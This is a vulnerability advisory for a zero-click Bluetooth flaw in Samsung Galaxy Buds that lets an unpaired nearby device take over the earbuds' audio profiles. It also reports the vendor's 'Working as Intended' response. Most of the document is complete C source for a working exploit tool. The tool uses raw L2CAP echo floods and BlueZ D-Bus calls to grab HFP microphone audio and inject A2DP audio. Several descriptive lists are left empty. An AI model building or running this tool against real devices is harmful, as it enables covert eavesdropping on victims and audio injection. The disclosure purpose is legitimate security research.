MESSAGE HASH (SHA-256): b21f37cdafa7f266a90f694b395bde77aba0a42834cf153f220ceb626ea6564a =========== MESSAGE START ===========

Sticky Door

Zero-Click HFP/A2DP Takeover via L2CAP Session Preemption

Exploiting Seamless Earbud Connection Arbitration to Bypass Pairing Trust Boundaries

CVSS (Estimate) v3.1: 7.4 (High)

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

This advisory describes a Bluetooth session-arbitration flaw affecting Samsung Galaxy Buds devices. The issue was reported to Samsung Mobile Security and ultimately classified as "Working as Intended" due to the interaction with the Auto Switching and Seamless Earbud Connection features.

Executive Summary

A Bluetooth Classic session-management flaw allows a nearby, previously unpaired device to influence connection arbitration and obtain control of active audio profiles without user interaction.

During an active audio session, an attacker can trigger repeated L2CAP interactions that cause the earbuds to relinquish ownership of HFP and/or A2DP sessions and transfer control to the attacker's device.

This occurs without pairing mode, hardware pairing interaction, user confirmation, or an existing trust relationship.

Vulnerability Classification

Type: Authentication Bypass / Session Ownership Violation

Component:

Attack Vector: Bluetooth Classic (Adjacent Network)

Affected Devices

Confirmed

Potentially Affected

Additional Galaxy Buds models utilizing the same Bluetooth stack and connection arbitration architecture may also be vulnerable.

Tested Firmware

Galaxy Buds FE (SM-R400N)

R400NXXU0AYF1 (June 2025 Rev.1)

Galaxy Buds3 Pro (SM-R630)

R630XXU0AYJ1 (October 2025 Rev.1)

What Is Being Exploited?

The attack does not target Bluetooth pairing itself.

Instead, it targets the logic responsible for determining which device currently owns the active audio session.

Samsung's Auto Switching and Seamless Earbud Connection features appear to allow active ownership of HFP and A2DP profiles to be influenced through unauthenticated L2CAP activity before sufficient validation of session ownership occurs.

As a result, the hardware pairing button protects the normal pairing workflow but does not appear to protect the underlying profile arbitration mechanism.

Technical Description

Phase 1: L2CAP Session Influence

Repeated L2CAP Echo Requests are transmitted toward the target while the victim is actively using the earbuds.

Observed effects:

Phase 2: Session Preemption

The earbuds may:

Phase 3: Unauthorized Profile Access

HFP

The attacker may receive microphone audio from the earbuds.

A2DP

The attacker may inject arbitrary audio into the victim's earbuds.

Impact

Privacy Impact

An attacker within Bluetooth range may obtain access to live microphone audio transmitted through HFP.

Integrity Impact

An attacker may inject arbitrary audio through A2DP.

Security Model Impact

The issue undermines the protection provided by Samsung's hardware pairing key by allowing profile ownership changes through the connection arbitration layer.

Vendor Response

Samsung classified the issue as "Working as Intended" and stated that disabling Seamless Earbud Connection prevents the attack scenario.

The author disagrees with this assessment because the observed behavior allows a previously untrusted device to obtain access to active audio profiles without user authorization under default settings.

Code:

dbus.c:

#include "dbus.h"
#include <stdio.h>
#include <string.h>
#include <systemd/sd-bus.h>

void Bluetooth_AddressToPath(const char *addr, char *out, const size_t len) {
    // Here we assume hci0 for now
    snprintf(out, len, "/org/bluez/hci0/dev_");
    const size_t base = strlen(out);

    for (size_t i = 0; addr[i] && base + i < len - 1; i++) {
        out[base + i] = (addr[i] == ':') ? '_' : addr[i];
    }

    out[base + strlen(addr)] = '\0';
}

int Bluetooth_SetTrusted(const char *addr, const int trusted) {
    sd_bus *bus = NULL;
    sd_bus_error err = SD_BUS_ERROR_NULL;

    int r = sd_bus_open_system(&bus);
    if (r < 0) return r;

    char path[128];
    Bluetooth_AddressToPath(addr, path, sizeof(path));

    r = sd_bus_set_property(
        bus,
        "org.bluez",
        path,
        "org.bluez.Device1",
        "Trusted",
        &err,
        "b",
        trusted
    );

    sd_bus_error_free(&err);
    sd_bus_unref(bus);
    return r;
}

int Bluetooth_DeviceMethod(const char *addr, const char *method) {
    sd_bus *bus = NULL;
    sd_bus_error err = SD_BUS_ERROR_NULL;
    sd_bus_message *msg = NULL;

    int r = sd_bus_open_system(&bus);
    if (r < 0) return r;

    char path[128];
    Bluetooth_AddressToPath(addr, path, sizeof(path));

    r = sd_bus_call_method(
        bus,
        "org.bluez",
        path,
        "org.bluez.Device1",
        method,
        &err,
        &msg,
        NULL
    );

    sd_bus_error_free(&err);
    sd_bus_message_unref(msg);
    sd_bus_unref(bus);
    return r;
}

int Bluetooth_ConnectProfile(const char *addr, const char *uuid) {
    sd_bus *bus = NULL;
    sd_bus_error err = SD_BUS_ERROR_NULL;
    char path[128];
    Bluetooth_AddressToPath(addr, path, sizeof(path));

    sd_bus_open_system(&bus);
    int r = sd_bus_call_method(bus, "org.bluez", path, "org.bluez.Device1",
                               "ConnectProfile", &err, NULL, "s", uuid);

    sd_bus_error_free(&err);
    sd_bus_unref(bus);
    return r;
}

int Bluetooth_ConnectDevice(const char *addr) {
    return Bluetooth_DeviceMethod(addr, "Connect");
}

int Bluetooth_DisconnectDevice(const char *addr) {
    return Bluetooth_DeviceMethod(addr, "Disconnect");
}

int Bluetooth_TrustDevice(const char *addr) {
    return Bluetooth_SetTrusted(addr, 1);
}

int Bluetooth_UntrustDevice(const char *addr) {
    return Bluetooth_SetTrusted(addr, 0);
}

dbus.h:

#pragma once
#include <stdlib.h>

#define A2DP_SINK_UUID "0000110b-0000-1000-8000-00805f9b34fb"
#define HFP_AG_UUID "0000111f-0000-1000-8000-00805f9b34fb"
#define HSP_AG_UUID "00001112-0000-1000-8000-00805f9b34fb" 

void Bluetooth_AddressToPath(const char *addr, char *out, size_t len);
int  Bluetooth_SetTrusted(const char *addr, int trusted);
int  Bluetooth_DeviceMethod(const char *addr, const char *method);
int Bluetooth_ConnectProfile(const char *addr, const char *uuid);

int  Bluetooth_ConnectDevice(const char *addr);
int  Bluetooth_DisconnectDevice(const char *addr);
int  Bluetooth_TrustDevice(const char *addr);
int  Bluetooth_UntrustDevice(const char *addr);

logger.c:

#include "logger.h"
#include <stdarg.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

static LogLevel g_CurrentLevel = LOG_DEBUG;

static const char *level_str[] = {
    "DEBUG",
    "INFO ",
    "WARN ",
    "ERROR"
};

static const char *level_color[] = {
    "\x1b[90m", // gray
    "\x1b[32m", // green
    "\x1b[33m", // yellow
    "\x1b[31m"  // red
};

#define COLOR_RESET "\x1b[0m"

void LogSetLevel(const LogLevel level) {
    g_CurrentLevel = level;
}

void Log(const LogLevel level, const char* file, const int line, const char* fmt, ...) {
    if (level < g_CurrentLevel) return;

    time_t now = time(NULL);
    struct tm *t = localtime(&now);
    char timeBuf[20]; 
    strftime(timeBuf, sizeof(timeBuf), "%H:%M:%S", t);

    FILE *out = (level == LOG_ERROR) ? stderr : stdout;

    fprintf(out, "%s[%s] %s ",
                level_color[level],
                timeBuf,
                level_str[level]);

    va_list args;
    va_start(args, fmt);
    vfprintf(out, fmt, args);
    va_end(args);

#ifdef DEBUG
    fprintf(out, " (%s:%d)", file, line);
#else
    (void)file;
    (void)line;
#endif

    fprintf(out, "%s\n", COLOR_RESET);
}

logger.h:

#pragma once
#include <stdio.h>

typedef enum {
    LOG_DEBUG,
    LOG_INFO,
    LOG_WARN,
    LOG_ERROR
} LogLevel;

void Log(LogLevel level,
            const char *file,
            int line,
            const char *fmt, ...);

#define LOG_DEBUG(...) Log(LOG_DEBUG, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_INFO(...)  Log(LOG_INFO,  __FILE__, __LINE__, __VA_ARGS__)
#define LOG_WARN(...)  Log(LOG_WARN,  __FILE__, __LINE__, __VA_ARGS__)
#define LOG_ERROR(...) Log(LOG_ERROR, __FILE__, __LINE__, __VA_ARGS__)

main.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>

#include "dbus.h"
#include "logger.h"

typedef struct {
    int sock;
    char addr[18];
    volatile int running;
    int mode; // 1: A2DP, 2: HFP, 3: Both
} STL2CP_ExploitContext;

struct L2CAP_Echo_Request {
    uint8_t  code;
    uint8_t  ident;
    uint16_t len;
} __attribute__((packed));

static STL2CP_ExploitContext* activeCtx = NULL;
volatile int g_STL2CP_KeepRunning = 1;

void STL2CP_HandleSigInt(const int sig) {
    (void)sig;
    g_STL2CP_KeepRunning = 0;
}

STL2CP_ExploitContext* STL2CP_StartExploit(const char* addr, int mode);
void STL2CP_StopExploit(STL2CP_ExploitContext* ctx);
static void* STL2CP_HeartbeatLoop(void* arg);

int main(int argc, char** argv) {
    if (geteuid() != 0) {
        LOG_ERROR("Please run as sudo!");
        return 1;
    }

    if (argc < 3) {
        LOG_ERROR("Usage: %s <MAC_ADDR> <mode>", argv[0]);
        LOG_INFO("Modes: \n  1: A2DP Only (Audio Output)\n  2: HFP Only (Microphone)\n  3: Both");
        return 1;
    }

    const char* targetAddr = argv[1];
    int mode = atoi(argv[2]);

    if (mode < 1 || mode > 3) {
        LOG_ERROR("Invalid mode. Use 1, 2, or 3.");
        return 1;
    }

    LOG_INFO("== STL2CP Exploit ==");
    LOG_INFO("Target: %s | Mode: %d", targetAddr, mode);

    signal(SIGINT, STL2CP_HandleSigInt);

    activeCtx = STL2CP_StartExploit(targetAddr, mode);
    if (!activeCtx) {
        LOG_ERROR("Failed to start exploit");
        return 1;
    }

    while (g_STL2CP_KeepRunning) {
        sleep(1);
    }

    STL2CP_StopExploit(activeCtx);
    return 0;
}

STL2CP_ExploitContext* STL2CP_StartExploit(const char* addr, int mode) {
    LOG_INFO("Trusting device %s...", addr);
    Bluetooth_TrustDevice(addr);

    const int sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP);
    struct sockaddr_l2 sockAddr = { .l2_family = AF_BLUETOOTH };
    str2ba(addr, &sockAddr.l2_bdaddr);

    LOG_INFO("Anchoring L2CAP link...");
    if (connect(sock, (struct sockaddr *)&sockAddr, sizeof(sockAddr)) < 0) {
        LOG_ERROR("Link anchoring failed.");
        close(sock);
        return NULL;
    }

    LOG_INFO("Triggering BlueZ connection...");
    if (!Bluetooth_ConnectDevice(addr)) {
        LOG_ERROR("DBus Connection failed.");
        return NULL;
    }

    usleep(100000);

    if (mode == 1 || mode == 3) {
        LOG_INFO("Negotiating A2DP Audio...");
        if (!Bluetooth_ConnectProfile(addr, A2DP_SINK_UUID)) {
            LOG_ERROR("A2DP failed.");
        }
    }

    if (mode == 2 || mode == 3) {
        LOG_INFO("Negotiating HFP/HSP (Microphone)...");
        if (!Bluetooth_ConnectProfile(addr, HFP_AG_UUID)) {
            LOG_WARN("HFP failed, trying HSP...");
            Bluetooth_ConnectProfile(addr, HSP_AG_UUID);
        }
    }

    STL2CP_ExploitContext* ctx = malloc(sizeof(STL2CP_ExploitContext));
    ctx->sock = sock;
    ctx->running = 1;
    ctx->mode = mode;
    snprintf(ctx->addr, sizeof(ctx->addr), "%s", addr);

    pthread_t tid;
    pthread_create(&tid, NULL, STL2CP_HeartbeatLoop, ctx);
    pthread_detach(tid);
    return ctx;
}

static void* STL2CP_HeartbeatLoop(void* arg) {
    STL2CP_ExploitContext* ctx = arg;
    struct L2CAP_Echo_Request req = { .code = 0x08, .len = 0 };
    uint8_t id = 1;

    LOG_INFO("EXPLOIT SUCCESS! YOURE IN!");
    LOG_INFO("Heartbeat thread started for %s - Press CTRL+C to stop and cleanup.", ctx->addr);
    while (ctx->running) {
        if (send(ctx->sock, &req, sizeof(req), 0) < 0) {
            LOG_ERROR("Link lost for %s. Device likely rebooted or out of range.", ctx->addr);
            break;
        }

        // This timing is critical otherwise the connection drops
        usleep(100000); 
        req.ident = id++;
        if (id == 0) id = 1;
    }

    LOG_INFO("Heartbeat loop finished for %s", ctx->addr);
    close(ctx->sock);
    ctx->sock = -1;
    return NULL;
}

void STL2CP_StopExploit(STL2CP_ExploitContext* ctx) {
    if (!ctx) return;
    ctx->running = 0;
    LOG_INFO("Cleaning up...");
    Bluetooth_DisconnectDevice(ctx->addr);
    Bluetooth_UntrustDevice(ctx->addr);
    free(ctx);
    LOG_INFO("Done!");
}

=========== MESSAGE END ===========